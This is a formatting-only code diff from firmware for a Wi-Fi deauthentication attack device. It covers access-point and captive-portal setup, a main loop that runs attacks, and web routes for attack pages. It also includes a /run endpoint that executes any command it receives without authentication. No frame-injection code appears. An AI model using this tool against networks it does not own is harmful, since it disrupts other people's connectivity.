list->sort();
|
||||||
@@ -37,8 +39,10 @@ void Stations::sort() {
|
|||||||
|
|
||||||
void Stations::sortAfterChannel() {
|
void Stations::sortAfterChannel() {
|
||||||
list->setCompare([](Station& a, Station& b) -> int {
|
list->setCompare([](Station& a, Station& b) -> int {
|
||||||
if(a.ch < b.ch) return -1;
|
if (a.ch < b.ch) return -1;
|
||||||
if(a.ch == b.ch) return 0;
|
|
||||||
|
if (a.ch == b.ch) return 0;
|
||||||
|
|
||||||
return 1;
|
return 1;
|
||||||
});
|
});
|
||||||
list->sort();
|
list->sort();
|
||||||
@@ -257,21 +261,21 @@ void Stations::remove(int num) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
void Stations::select(String ssid) {
|
void Stations::select(String ssid) {
|
||||||
for(int i=0;i<list->size();i++){
|
for (int i = 0; i < list->size(); i++) {
|
||||||
if(getAPStr(i).equalsIgnoreCase(ssid)) select(i);
|
if (getAPStr(i).equalsIgnoreCase(ssid)) select(i);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void Stations::deselect(String ssid) {
|
void Stations::deselect(String ssid) {
|
||||||
for(int i=0;i<list->size();i++){
|
for (int i = 0; i < list->size(); i++) {
|
||||||
if(getAPStr(i).equalsIgnoreCase(ssid)) deselect(i);
|
if (getAPStr(i).equalsIgnoreCase(ssid)) deselect(i);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void Stations::remove(String ssid) {
|
void Stations::remove(String ssid) {
|
||||||
for(int i=0;i<list->size();i++){
|
for (int i = 0; i < list->size(); i++) {
|
||||||
if(getAPStr(i).equalsIgnoreCase(ssid)) remove(i);
|
if (getAPStr(i).equalsIgnoreCase(ssid)) remove(i);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void Stations::selectAll() {
|
void Stations::selectAll() {
|
||||||
|
|||||||
@@ -32,7 +32,7 @@ Accesspoints accesspoints;
|
|||||||
Stations stations;
|
Stations stations;
|
||||||
Scan scan;
|
Scan scan;
|
||||||
Attack attack;
|
Attack attack;
|
||||||
CLI cli;
|
CLI cli;
|
||||||
DisplayUI displayUI;
|
DisplayUI displayUI;
|
||||||
|
|
||||||
#include "wifi.h"
|
#include "wifi.h"
|
||||||
@@ -110,8 +110,8 @@ void setup() {
|
|||||||
|
|
||||||
// load Wifi settings: SSID, password,...
|
// load Wifi settings: SSID, password,...
|
||||||
#ifdef DEFAULT_SSID
|
#ifdef DEFAULT_SSID
|
||||||
if(settings.getSSID() == "pwned") settings.setSSID(DEFAULT_SSID);
|
if (settings.getSSID() == "pwned") settings.setSSID(DEFAULT_SSID);
|
||||||
#endif
|
#endif // ifdef DEFAULT_SSID
|
||||||
loadWifiConfigDefaults();
|
loadWifiConfigDefaults();
|
||||||
|
|
||||||
// dis/enable serial command interface
|
// dis/enable serial command interface
|
||||||
@@ -139,13 +139,13 @@ void setup() {
|
|||||||
void loop() {
|
void loop() {
|
||||||
currentTime = millis();
|
currentTime = millis();
|
||||||
|
|
||||||
led.update(); // update LED color
|
led.update(); // update LED color
|
||||||
wifiUpdate(); // manage access point
|
wifiUpdate(); // manage access point
|
||||||
attack.update(); // run attacks
|
attack.update(); // run attacks
|
||||||
displayUI.update();
|
displayUI.update();
|
||||||
cli.update(); // read and run serial input
|
cli.update(); // read and run serial input
|
||||||
scan.update(); // run scan
|
scan.update(); // run scan
|
||||||
ssids.update(); // run random mode, if enabled
|
ssids.update(); // run random mode, if enabled
|
||||||
|
|
||||||
// auto-save
|
// auto-save
|
||||||
if (settings.getAutosave() && (currentTime - autosaveTime > settings.getAutosaveTime())) {
|
if (settings.getAutosave() && (currentTime - autosaveTime > settings.getAutosaveTime())) {
|
||||||
@@ -162,6 +162,6 @@ void loop() {
|
|||||||
booted = true;
|
booted = true;
|
||||||
#ifdef HIGHLIGHT_LED
|
#ifdef HIGHLIGHT_LED
|
||||||
displayUI.setupLED();
|
displayUI.setupLED();
|
||||||
#endif
|
#endif // ifdef HIGHLIGHT_LED
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -202,7 +202,8 @@ bool eqls(const char* str, const char* keywordPtr) {
|
|||||||
uint8_t lenKeyword = strlen(keyword);
|
uint8_t lenKeyword = strlen(keyword);
|
||||||
|
|
||||||
if (lenStr > lenKeyword) return false; // string can't be longer than keyword (but can be smaller because of '/'
|
if (lenStr > lenKeyword) return false; // string can't be longer than keyword (but can be smaller because of '/'
|
||||||
// and ',')
|
|
||||||
|
// and ',')
|
||||||
|
|
||||||
uint8_t a = 0;
|
uint8_t a = 0;
|
||||||
uint8_t b = 0;
|
uint8_t b = 0;
|
||||||
@@ -449,12 +450,11 @@ void strToColor(String str, uint8_t* buf) {
|
|||||||
for (uint8_t i = 0; i < 3; i++) buf[i] = strtoul((str.substring(i * 2, i * 2 + 2)).c_str(), NULL, 16);
|
for (uint8_t i = 0; i < 3; i++) buf[i] = strtoul((str.substring(i * 2, i * 2 + 2)).c_str(), NULL, 16);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
String center(String a, int len) {
|
String center(String a, int len) {
|
||||||
int spaces = len - a.length();
|
int spaces = len - a.length();
|
||||||
|
|
||||||
for (int i = 0; i < spaces; i+=2) {
|
for (int i = 0; i < spaces; i += 2) {
|
||||||
a = ' ' + a + ' ';
|
a = ' ' + a + ' ';
|
||||||
}
|
}
|
||||||
|
|
||||||
a = a.substring(0, len);
|
a = a.substring(0, len);
|
||||||
|
|||||||
@@ -19,7 +19,7 @@ extern "C" {
|
|||||||
/*
|
/*
|
||||||
This file contains all necessary functions for hosting and connecting to an access point.
|
This file contains all necessary functions for hosting and connecting to an access point.
|
||||||
For compatibility and simplicity, all those functions are global.
|
For compatibility and simplicity, all those functions are global.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
// Important strings
|
// Important strings
|
||||||
const char W_DEAUTHER[] PROGMEM = "deauth.me"; // captive portal domain (alternative to 192.168.4.1)
|
const char W_DEAUTHER[] PROGMEM = "deauth.me"; // captive portal domain (alternative to 192.168.4.1)
|
||||||
@@ -72,331 +72,331 @@ String wifi_config_password;
|
|||||||
String wifi_config_path;
|
String wifi_config_path;
|
||||||
|
|
||||||
void stopAP() {
|
void stopAP() {
|
||||||
if (wifiMode == WIFI_MODE_AP) {
|
if (wifiMode == WIFI_MODE_AP) {
|
||||||
wifi_promiscuous_enable(0);
|
wifi_promiscuous_enable(0);
|
||||||
WiFi.persistent(false);
|
WiFi.persistent(false);
|
||||||
WiFi.disconnect(true);
|
WiFi.disconnect(true);
|
||||||
wifi_set_opmode(STATION_MODE);
|
wifi_set_opmode(STATION_MODE);
|
||||||
prntln(W_STOPPED_AP);
|
prntln(W_STOPPED_AP);
|
||||||
wifiMode = WIFI_MODE_STATION;
|
wifiMode = WIFI_MODE_STATION;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void wifiUpdate() {
|
void wifiUpdate() {
|
||||||
if ((wifiMode != WIFI_MODE_OFF) && !scan.isScanning()) {
|
if ((wifiMode != WIFI_MODE_OFF) && !scan.isScanning()) {
|
||||||
server.handleClient();
|
server.handleClient();
|
||||||
dnsServer.processNextRequest();
|
dnsServer.processNextRequest();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
String getWifiMode() {
|
String getWifiMode() {
|
||||||
switch (wifiMode) {
|
switch (wifiMode) {
|
||||||
case WIFI_MODE_OFF:
|
case WIFI_MODE_OFF:
|
||||||
return W_MODE_OFF;
|
return W_MODE_OFF;
|
||||||
|
|
||||||
break;
|
break;
|
||||||
|
|
||||||
case WIFI_MODE_AP:
|
case WIFI_MODE_AP:
|
||||||
return W_MODE_AP;
|
return W_MODE_AP;
|
||||||
|
|
||||||
break;
|
break;
|
||||||
|
|
||||||
case WIFI_MODE_STATION:
|
case WIFI_MODE_STATION:
|
||||||
return W_MODE_ST;
|
return W_MODE_ST;
|
||||||
|
|
||||||
break;
|
break;
|
||||||
|
|
||||||
default:
|
default:
|
||||||
return String();
|
return String();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
String getContentType(String filename) {
|
String getContentType(String filename) {
|
||||||
if (server.hasArg("download")) return String(F("application/octet-stream"));
|
if (server.hasArg("download")) return String(F("application/octet-stream"));
|
||||||
else if (filename.endsWith(str(W_DOT_GZIP))) filename = filename.substring(0, filename.length() - 3);
|
else if (filename.endsWith(str(W_DOT_GZIP))) filename = filename.substring(0, filename.length() - 3);
|
||||||
else if (filename.endsWith(str(W_DOT_HTM))) return str(W_HTML);
|
else if (filename.endsWith(str(W_DOT_HTM))) return str(W_HTML);
|
||||||
else if (filename.endsWith(str(W_DOT_HTML))) return str(W_HTML);
|
else if (filename.endsWith(str(W_DOT_HTML))) return str(W_HTML);
|
||||||
else if (filename.endsWith(str(W_DOT_CSS))) return str(W_CSS);
|
else if (filename.endsWith(str(W_DOT_CSS))) return str(W_CSS);
|
||||||
else if (filename.endsWith(str(W_DOT_JS))) return str(W_JS);
|
else if (filename.endsWith(str(W_DOT_JS))) return str(W_JS);
|
||||||
else if (filename.endsWith(str(W_DOT_PNG))) return str(W_PNG);
|
else if (filename.endsWith(str(W_DOT_PNG))) return str(W_PNG);
|
||||||
else if (filename.endsWith(str(W_DOT_GIF))) return str(W_GIF);
|
else if (filename.endsWith(str(W_DOT_GIF))) return str(W_GIF);
|
||||||
else if (filename.endsWith(str(W_DOT_JPG))) return str(W_JPG);
|
else if (filename.endsWith(str(W_DOT_JPG))) return str(W_JPG);
|
||||||
else if (filename.endsWith(str(W_DOT_ICON))) return str(W_ICON);
|
else if (filename.endsWith(str(W_DOT_ICON))) return str(W_ICON);
|
||||||
else if (filename.endsWith(str(W_DOT_XML))) return str(W_XML);
|
else if (filename.endsWith(str(W_DOT_XML))) return str(W_XML);
|
||||||
else if (filename.endsWith(str(W_DOT_PDF))) return str(W_XPDF);
|
else if (filename.endsWith(str(W_DOT_PDF))) return str(W_XPDF);
|
||||||
else if (filename.endsWith(str(W_DOT_ZIP))) return str(W_XZIP);
|
else if (filename.endsWith(str(W_DOT_ZIP))) return str(W_XZIP);
|
||||||
else if (filename.endsWith(str(W_DOT_JSON))) return str(W_JSON);
|
else if (filename.endsWith(str(W_DOT_JSON))) return str(W_JSON);
|
||||||
else return str(W_TXT);
|
else return str(W_TXT);
|
||||||
}
|
}
|
||||||
|
|
||||||
bool handleFileRead(String path) {
|
bool handleFileRead(String path) {
|
||||||
prnt(W_AP_REQUEST);
|
prnt(W_AP_REQUEST);
|
||||||
prnt(path);
|
prnt(path);
|
||||||
|
|
||||||
if (!path.charAt(0) == SLASH) path = String(SLASH) + path;
|
if (!path.charAt(0) == SLASH) path = String(SLASH) + path;
|
||||||
|
|
||||||
if (path.charAt(path.length() - 1) == SLASH) path += String(F("index.html"));
|
if (path.charAt(path.length() - 1) == SLASH) path += String(F("index.html"));
|
||||||
|
|
||||||
String contentType = getContentType(path);
|
String contentType = getContentType(path);
|
||||||
|
|
||||||
if (!SPIFFS.exists(path)) {
|
if (!SPIFFS.exists(path)) {
|
||||||
if (SPIFFS.exists(path + str(W_DOT_GZIP))) path += str(W_DOT_GZIP);
|
if (SPIFFS.exists(path + str(W_DOT_GZIP))) path += str(W_DOT_GZIP);
|
||||||
else if (SPIFFS.exists(wifi_config_path + path)) path = wifi_config_path + path;
|
else if (SPIFFS.exists(wifi_config_path + path)) path = wifi_config_path + path;
|
||||||
else if (SPIFFS.exists(wifi_config_path + path + str(W_DOT_GZIP))) path = wifi_config_path + path + str(
|
else if (SPIFFS.exists(wifi_config_path + path + str(W_DOT_GZIP))) path = wifi_config_path + path + str(
|
||||||
W_DOT_GZIP);
|
W_DOT_GZIP);
|
||||||
else {
|
else {
|
||||||
// prntln(W_NOT_FOUND);
|
// prntln(W_NOT_FOUND);
|
||||||
return false;
|
return false;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
|
||||||
File file = SPIFFS.open(path, "r");
|
File file = SPIFFS.open(path, "r");
|
||||||
server.streamFile(file, contentType);
|
server.streamFile(file, contentType);
|
||||||
file.close();
|
file.close();
|
||||||
prnt(SPACE);
|
prnt(SPACE);
|
||||||
prntln(W_OK);
|
prntln(W_OK);
|
||||||
|
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void handleFileList() {
|
void handleFileList() {
|
||||||
if (!server.hasArg("dir")) {
|
if (!server.hasArg("dir")) {
|
||||||
server.send(500, str(W_TXT), str(W_BAD_ARGS));
|
server.send(500, str(W_TXT), str(W_BAD_ARGS));
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
String path = server.arg("dir");
|
String path = server.arg("dir");
|
||||||
// Serial.println("handleFileList: " + path);
|
// Serial.println("handleFileList: " + path);
|
||||||
Dir dir = SPIFFS.openDir(path);
|
Dir dir = SPIFFS.openDir(path);
|
||||||
|
|
||||||
String output = String(OPEN_BRACKET); // {
|
String output = String(OPEN_BRACKET); // {
|
||||||
File entry;
|
File entry;
|
||||||
bool first = true;
|
bool first = true;
|
||||||
|
|
||||||
while (dir.next()) {
|
while (dir.next()) {
|
||||||
entry = dir.openFile("r");
|
entry = dir.openFile("r");
|
||||||
|
|
||||||
if (first) first = false;
|
if (first) first = false;
|
||||||
else output += COMMA; // ,
|
else output += COMMA; // ,
|
||||||
|
|
||||||
output += OPEN_BRACKET; // [
|
output += OPEN_BRACKET; // [
|
||||||
output += String(DOUBLEQUOTES) + entry.name() + String(DOUBLEQUOTES); // "filename"
|
output += String(DOUBLEQUOTES) + entry.name() + String(DOUBLEQUOTES); // "filename"
|
||||||
output += CLOSE_BRACKET; // ]
|
output += CLOSE_BRACKET; // ]
|
||||||
|
|
||||||
entry.close();
|
entry.close();
|
||||||
}
|
}
|
||||||
|
|
||||||
output += CLOSE_BRACKET;
|
output += CLOSE_BRACKET;
|
||||||
server.send(200, str(W_JSON).c_str(), output);
|
server.send(200, str(W_JSON).c_str(), output);
|
||||||
}
|
}
|
||||||
|
|
||||||
void sendProgmem(const char* ptr, size_t size, const char* type) {
|
void sendProgmem(const char* ptr, size_t size, const char* type) {
|
||||||
server.sendHeader("Content-Encoding", "gzip");
|
server.sendHeader("Content-Encoding", "gzip");
|
||||||
server.sendHeader("Cache-Control", "max-age=86400");
|
server.sendHeader("Cache-Control", "max-age=86400");
|
||||||
server.send_P(200, str(type).c_str(), ptr, size);
|
server.send_P(200, str(type).c_str(), ptr, size);
|
||||||
}
|
}
|
||||||
|
|
||||||
// path = folder of web files, ssid = name of network, password = password ("0" => no password), hidden = if the network
|
// path = folder of web files, ssid = name of network, password = password ("0" => no password), hidden = if the network
|
||||||
// is visible, captivePortal = enable a captive portal
|
// is visible, captivePortal = enable a captive portal
|
||||||
void startAP(String path, String ssid, String password, uint8_t ch, bool hidden, bool captivePortal) {
|
void startAP(String path, String ssid, String password, uint8_t ch, bool hidden, bool captivePortal) {
|
||||||
if (password.length() < 8) {
|
if (password.length() < 8) {
|
||||||
prntln(W_ERROR_PASSWORD);
|
prntln(W_ERROR_PASSWORD);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!path.charAt(0) == SLASH) path = String(SLASH) + path;
|
if (!path.charAt(0) == SLASH) path = String(SLASH) + path;
|
||||||
|
|
||||||
if (password == String(ZERO)) password = String(NEWLINE);
|
if (password == String(ZERO)) password = String(NEWLINE);
|
||||||
|
|
||||||
wifi_config_path = path;
|
wifi_config_path = path;
|
||||||
wifi_config_ssid = ssid;
|
wifi_config_ssid = ssid;
|
||||||
wifi_config_password = password;
|
wifi_config_password = password;
|
||||||
setWifiChannel(ch);
|
setWifiChannel(ch);
|
||||||
wifi_config_hidden = hidden;
|
wifi_config_hidden = hidden;
|
||||||
wifi_config_captivePortal = captivePortal;
|
wifi_config_captivePortal = captivePortal;
|
||||||
|
|
||||||
WiFi.softAPConfig(apIP, apIP, netMsk);
|
WiFi.softAPConfig(apIP, apIP, netMsk);
|
||||||
WiFi.softAP(ssid.c_str(), password.c_str(), wifi_channel, hidden);
|
WiFi.softAP(ssid.c_str(), password.c_str(), wifi_channel, hidden);
|
||||||
|
|
||||||
dnsServer.setErrorReplyCode(DNSReplyCode::NoError);
|
dnsServer.setErrorReplyCode(DNSReplyCode::NoError);
|
||||||
dnsServer.start(53, String(ASTERIX), apIP);
|
dnsServer.start(53, String(ASTERIX), apIP);
|
||||||
|
|
||||||
MDNS.begin(str(W_DEAUTHER).c_str());
|
MDNS.begin(str(W_DEAUTHER).c_str());
|
||||||
|
|
||||||
server.on(String(F("/list")).c_str(), HTTP_GET, handleFileList); // list directory
|
server.on(String(F("/list")).c_str(), HTTP_GET, handleFileList); // list directory
|
||||||
|
|
||||||
|
|
||||||
// ================================================================
|
// ================================================================
|
||||||
// post here the output of the webConverter.py
|
// post here the output of the webConverter.py
|
||||||
|
|
||||||
if (!settings.getWebSpiffs()) {
|
|
||||||
server.on(String(SLASH).c_str(), HTTP_GET, []() {
|
|
||||||
sendProgmem(indexhtml, sizeof(indexhtml), W_HTML);
|
|
||||||
});
|
|
||||||
server.on(String(F("/attack.html")).c_str(), HTTP_GET, []() {
|
|
||||||
sendProgmem(attackhtml, sizeof(attackhtml), W_HTML);
|
|
||||||
});
|
|
||||||
server.on(String(F("/index.html")).c_str(), HTTP_GET, []() {
|
|
||||||
sendProgmem(indexhtml, sizeof(indexhtml), W_HTML);
|
|
||||||
});
|
|
||||||
server.on(String(F("/info.html")).c_str(), HTTP_GET, []() {
|
|
||||||
sendProgmem(infohtml, sizeof(infohtml), W_HTML);
|
|
||||||
});
|
|
||||||
server.on(String(F("/scan.html")).c_str(), HTTP_GET, []() {
|
|
||||||
sendProgmem(scanhtml, sizeof(scanhtml), W_HTML);
|
|
||||||
});
|
|
||||||
server.on(String(F("/settings.html")).c_str(), HTTP_GET, []() {
|
|
||||||
sendProgmem(settingshtml, sizeof(settingshtml), W_HTML);
|
|
||||||
});
|
|
||||||
server.on(String(F("/ssids.html")).c_str(), HTTP_GET, []() {
|
|
||||||
sendProgmem(ssidshtml, sizeof(ssidshtml), W_HTML);
|
|
||||||
});
|
|
||||||
server.on(String(F("/style.css")).c_str(), HTTP_GET, []() {
|
|
||||||
sendProgmem(stylecss, sizeof(stylecss), W_CSS);
|
|
||||||
});
|
|
||||||
server.on(String(F("/js/attack.js")).c_str(), HTTP_GET, []() {
|
|
||||||
sendProgmem(attackjs, sizeof(attackjs), W_JS);
|
|
||||||
});
|
|
||||||
server.on(String(F("/js/scan.js")).c_str(), HTTP_GET, []() {
|
|
||||||
sendProgmem(scanjs, sizeof(scanjs), W_JS);
|
|
||||||
});
|
|
||||||
server.on(String(F("/js/settings.js")).c_str(), HTTP_GET, []() {
|
|
||||||
sendProgmem(settingsjs, sizeof(settingsjs), W_JS);
|
|
||||||
});
|
|
||||||
server.on(String(F("/js/site.js")).c_str(), HTTP_GET, []() {
|
|
||||||
sendProgmem(sitejs, sizeof(sitejs), W_JS);
|
|
||||||
});
|
|
||||||
server.on(String(F("/js/ssids.js")).c_str(), HTTP_GET, []() {
|
|
||||||
sendProgmem(ssidsjs, sizeof(ssidsjs), W_JS);
|
|
||||||
});
|
|
||||||
server.on(String(F("/lang/cn.lang")).c_str(), HTTP_GET, []() {
|
|
||||||
sendProgmem(cnlang, sizeof(cnlang), W_JSON);
|
|
||||||
});
|
|
||||||
server.on(String(F("/lang/cs.lang")).c_str(), HTTP_GET, []() {
|
|
||||||
sendProgmem(cslang, sizeof(cslang), W_JSON);
|
|
||||||
});
|
|
||||||
server.on(String(F("/lang/de.lang")).c_str(), HTTP_GET, []() {
|
|
||||||
sendProgmem(delang, sizeof(delang), W_JSON);
|
|
||||||
});
|
|
||||||
server.on(String(F("/lang/en.lang")).c_str(), HTTP_GET, []() {
|
|
||||||
sendProgmem(enlang, sizeof(enlang), W_JSON);
|
|
||||||
});
|
|
||||||
server.on(String(F("/lang/fr.lang")).c_str(), HTTP_GET, []() {
|
|
||||||
sendProgmem(frlang, sizeof(frlang), W_JSON);
|
|
||||||
});
|
|
||||||
server.on(String(F("/lang/it.lang")).c_str(), HTTP_GET, []() {
|
|
||||||
sendProgmem(itlang, sizeof(itlang), W_JSON);
|
|
||||||
});
|
|
||||||
server.on(String(F("/lang/ru.lang")).c_str(), HTTP_GET, []() {
|
|
||||||
sendProgmem(rulang, sizeof(rulang), W_JSON);
|
|
||||||
});
|
|
||||||
server.on(String(F("/lang/tlh.lang")).c_str(), HTTP_GET, []() {
|
|
||||||
sendProgmem(tlhlang, sizeof(tlhlang), W_JSON);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
server.on(str(W_DEFAULT_LANG).c_str(), HTTP_GET, []() {
|
|
||||||
if (!settings.getWebSpiffs()) {
|
if (!settings.getWebSpiffs()) {
|
||||||
if (settings.getLang() == String(F("cn"))) sendProgmem(cnlang, sizeof(cnlang), W_JSON);
|
server.on(String(SLASH).c_str(), HTTP_GET, []() {
|
||||||
else if (settings.getLang() == String(F("cs"))) sendProgmem(cslang, sizeof(cslang), W_JSON);
|
sendProgmem(indexhtml, sizeof(indexhtml), W_HTML);
|
||||||
else if (settings.getLang() == String(F("de"))) sendProgmem(delang, sizeof(delang), W_JSON);
|
});
|
||||||
else if (settings.getLang() == String(F("en"))) sendProgmem(enlang, sizeof(enlang), W_JSON);
|
server.on(String(F("/attack.html")).c_str(), HTTP_GET, []() {
|
||||||
else if (settings.getLang() == String(F("fr"))) sendProgmem(frlang, sizeof(frlang), W_JSON);
|
sendProgmem(attackhtml, sizeof(attackhtml), W_HTML);
|
||||||
else if (settings.getLang() == String(F("it"))) sendProgmem(itlang, sizeof(itlang), W_JSON);
|
});
|
||||||
else if (settings.getLang() == String(F("ru"))) sendProgmem(rulang, sizeof(rulang), W_JSON);
|
server.on(String(F("/index.html")).c_str(), HTTP_GET, []() {
|
||||||
else if (settings.getLang() == String(F("tlh"))) sendProgmem(tlhlang, sizeof(tlhlang), W_JSON);
|
sendProgmem(indexhtml, sizeof(indexhtml), W_HTML);
|
||||||
|
});
|
||||||
else handleFileRead(String(F("/web/lang/")) + settings.getLang() + String(F(".lang")));
|
server.on(String(F("/info.html")).c_str(), HTTP_GET, []() {
|
||||||
} else {
|
sendProgmem(infohtml, sizeof(infohtml), W_HTML);
|
||||||
handleFileRead(String(F("/web/lang/")) + settings.getLang() + String(F(".lang")));
|
});
|
||||||
|
server.on(String(F("/scan.html")).c_str(), HTTP_GET, []() {
|
||||||
|
sendProgmem(scanhtml, sizeof(scanhtml), W_HTML);
|
||||||
|
});
|
||||||
|
server.on(String(F("/settings.html")).c_str(), HTTP_GET, []() {
|
||||||
|
sendProgmem(settingshtml, sizeof(settingshtml), W_HTML);
|
||||||
|
});
|
||||||
|
server.on(String(F("/ssids.html")).c_str(), HTTP_GET, []() {
|
||||||
|
sendProgmem(ssidshtml, sizeof(ssidshtml), W_HTML);
|
||||||
|
});
|
||||||
|
server.on(String(F("/style.css")).c_str(), HTTP_GET, []() {
|
||||||
|
sendProgmem(stylecss, sizeof(stylecss), W_CSS);
|
||||||
|
});
|
||||||
|
server.on(String(F("/js/attack.js")).c_str(), HTTP_GET, []() {
|
||||||
|
sendProgmem(attackjs, sizeof(attackjs), W_JS);
|
||||||
|
});
|
||||||
|
server.on(String(F("/js/scan.js")).c_str(), HTTP_GET, []() {
|
||||||
|
sendProgmem(scanjs, sizeof(scanjs), W_JS);
|
||||||
|
});
|
||||||
|
server.on(String(F("/js/settings.js")).c_str(), HTTP_GET, []() {
|
||||||
|
sendProgmem(settingsjs, sizeof(settingsjs), W_JS);
|
||||||
|
});
|
||||||
|
server.on(String(F("/js/site.js")).c_str(), HTTP_GET, []() {
|
||||||
|
sendProgmem(sitejs, sizeof(sitejs), W_JS);
|
||||||
|
});
|
||||||
|
server.on(String(F("/js/ssids.js")).c_str(), HTTP_GET, []() {
|
||||||
|
sendProgmem(ssidsjs, sizeof(ssidsjs), W_JS);
|
||||||
|
});
|
||||||
|
server.on(String(F("/lang/cn.lang")).c_str(), HTTP_GET, []() {
|
||||||
|
sendProgmem(cnlang, sizeof(cnlang), W_JSON);
|
||||||
|
});
|
||||||
|
server.on(String(F("/lang/cs.lang")).c_str(), HTTP_GET, []() {
|
||||||
|
sendProgmem(cslang, sizeof(cslang), W_JSON);
|
||||||
|
});
|
||||||
|
server.on(String(F("/lang/de.lang")).c_str(), HTTP_GET, []() {
|
||||||
|
sendProgmem(delang, sizeof(delang), W_JSON);
|
||||||
|
});
|
||||||
|
server.on(String(F("/lang/en.lang")).c_str(), HTTP_GET, []() {
|
||||||
|
sendProgmem(enlang, sizeof(enlang), W_JSON);
|
||||||
|
});
|
||||||
|
server.on(String(F("/lang/fr.lang")).c_str(), HTTP_GET, []() {
|
||||||
|
sendProgmem(frlang, sizeof(frlang), W_JSON);
|
||||||
|
});
|
||||||
|
server.on(String(F("/lang/it.lang")).c_str(), HTTP_GET, []() {
|
||||||
|
sendProgmem(itlang, sizeof(itlang), W_JSON);
|
||||||
|
});
|
||||||
|
server.on(String(F("/lang/ru.lang")).c_str(), HTTP_GET, []() {
|
||||||
|
sendProgmem(rulang, sizeof(rulang), W_JSON);
|
||||||
|
});
|
||||||
|
server.on(String(F("/lang/tlh.lang")).c_str(), HTTP_GET, []() {
|
||||||
|
sendProgmem(tlhlang, sizeof(tlhlang), W_JSON);
|
||||||
|
});
|
||||||
}
|
}
|
||||||
});
|
server.on(str(W_DEFAULT_LANG).c_str(), HTTP_GET, []() {
|
||||||
|
if (!settings.getWebSpiffs()) {
|
||||||
|
if (settings.getLang() == String(F("cn"))) sendProgmem(cnlang, sizeof(cnlang), W_JSON);
|
||||||
|
else if (settings.getLang() == String(F("cs"))) sendProgmem(cslang, sizeof(cslang), W_JSON);
|
||||||
|
else if (settings.getLang() == String(F("de"))) sendProgmem(delang, sizeof(delang), W_JSON);
|
||||||
|
else if (settings.getLang() == String(F("en"))) sendProgmem(enlang, sizeof(enlang), W_JSON);
|
||||||
|
else if (settings.getLang() == String(F("fr"))) sendProgmem(frlang, sizeof(frlang), W_JSON);
|
||||||
|
else if (settings.getLang() == String(F("it"))) sendProgmem(itlang, sizeof(itlang), W_JSON);
|
||||||
|
else if (settings.getLang() == String(F("ru"))) sendProgmem(rulang, sizeof(rulang), W_JSON);
|
||||||
|
else if (settings.getLang() == String(F("tlh"))) sendProgmem(tlhlang, sizeof(tlhlang), W_JSON);
|
||||||
|
|
||||||
// ================================================================
|
else handleFileRead(String(F("/web/lang/")) + settings.getLang() + String(F(".lang")));
|
||||||
|
} else {
|
||||||
|
handleFileRead(String(F("/web/lang/")) + settings.getLang() + String(F(".lang")));
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
server.on(String(F("/run")).c_str(), HTTP_GET, []() {
|
// ================================================================
|
||||||
server.send(200, str(W_TXT), str(W_OK).c_str());
|
|
||||||
String input = server.arg("cmd");
|
|
||||||
cli.exec(input);
|
|
||||||
});
|
|
||||||
|
|
||||||
server.on(String(F("/attack.json")).c_str(), HTTP_GET, []() {
|
server.on(String(F("/run")).c_str(), HTTP_GET, []() {
|
||||||
server.send(200, str(W_JSON), attack.getStatusJSON());
|
server.send(200, str(W_TXT), str(W_OK).c_str());
|
||||||
});
|
String input = server.arg("cmd");
|
||||||
|
cli.exec(input);
|
||||||
|
});
|
||||||
|
|
||||||
// aggressively caching static assets
|
server.on(String(F("/attack.json")).c_str(), HTTP_GET, []() {
|
||||||
server.serveStatic("/js", SPIFFS, String(wifi_config_path + "/js").c_str(), "max-age=86400");
|
server.send(200, str(W_JSON), attack.getStatusJSON());
|
||||||
|
});
|
||||||
|
|
||||||
// called when the url is not defined here
|
// aggressively caching static assets
|
||||||
// use it to load content from SPIFFS
|
server.serveStatic("/js", SPIFFS, String(wifi_config_path + "/js").c_str(), "max-age=86400");
|
||||||
server.onNotFound([]() {
|
|
||||||
if (!handleFileRead(server.uri())) {
|
|
||||||
server.send(404, str(W_TXT), str(W_FILE_NOT_FOUND));
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
server.begin();
|
// called when the url is not defined here
|
||||||
wifiMode = WIFI_MODE_AP;
|
// use it to load content from SPIFFS
|
||||||
|
server.onNotFound([]() {
|
||||||
|
if (!handleFileRead(server.uri())) {
|
||||||
|
server.send(404, str(W_TXT), str(W_FILE_NOT_FOUND));
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
prntln(W_STARTED_AP);
|
server.begin();
|
||||||
printWifiStatus();
|
wifiMode = WIFI_MODE_AP;
|
||||||
|
|
||||||
|
prntln(W_STARTED_AP);
|
||||||
|
printWifiStatus();
|
||||||
}
|
}
|
||||||
|
|
||||||
void printWifiStatus() {
|
void printWifiStatus() {
|
||||||
prnt(String(F("[WiFi] Path: '")));
|
prnt(String(F("[WiFi] Path: '")));
|
||||||
prnt(wifi_config_path);
|
prnt(wifi_config_path);
|
||||||
prnt(String(F("', Mode: '")));
|
prnt(String(F("', Mode: '")));
|
||||||
|
|
||||||
switch (wifiMode) {
|
switch (wifiMode) {
|
||||||
case WIFI_MODE_OFF:
|
case WIFI_MODE_OFF:
|
||||||
prnt(W_MODE_OFF);
|
prnt(W_MODE_OFF);
|
||||||
break;
|
break;
|
||||||
|
|
||||||
case WIFI_MODE_AP:
|
case WIFI_MODE_AP:
|
||||||
prnt(W_AP);
|
prnt(W_AP);
|
||||||
break;
|
break;
|
||||||
|
|
||||||
case WIFI_MODE_STATION:
|
case WIFI_MODE_STATION:
|
||||||
prnt(W_STATION);
|
prnt(W_STATION);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
